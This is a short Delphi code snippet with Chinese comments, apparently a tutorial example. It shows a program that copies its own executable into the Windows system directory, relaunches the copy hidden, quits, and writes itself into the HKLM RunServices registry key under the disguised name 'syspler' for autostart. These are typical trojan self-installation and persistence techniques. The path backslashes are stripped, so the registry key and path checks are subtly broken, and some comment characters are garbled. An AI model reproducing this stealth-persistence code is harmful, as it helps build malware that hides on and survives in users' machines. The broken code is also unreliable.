procedure TForm1.FormCreate(Sender: TObject);
var myname: string;
begin
myname := ExtractFilename(Application.Exename); //獲得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{將自己拷貝到WindowsSystem下}
Winexec(pchar(GetWindir + myname), sw_hide);//運(yùn)行WindowsSystem下的新文件
application.Terminate;//退出
end;
end;

function GetWinDir: String;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>'' then Result := Result + '';
end; 

procedure TForm1.FormCreate(Sender: TObject);
const K = 'SoftwareMicrosoftWindowsCurrentVersionRunServices';
var myname: string;
begin
myname := ExtractFilename(Application.Exename); //獲得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//將自己拷貝到Windows/System32下}
Winexec(pchar(GetWindir + myname), sw_hide);//運(yùn)行WindowsSystem下的新文件
application.Terminate;//退出
end;
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey( K, TRUE );
WriteString( 'syspler', application.ExeName );
finally
free;
end;
end;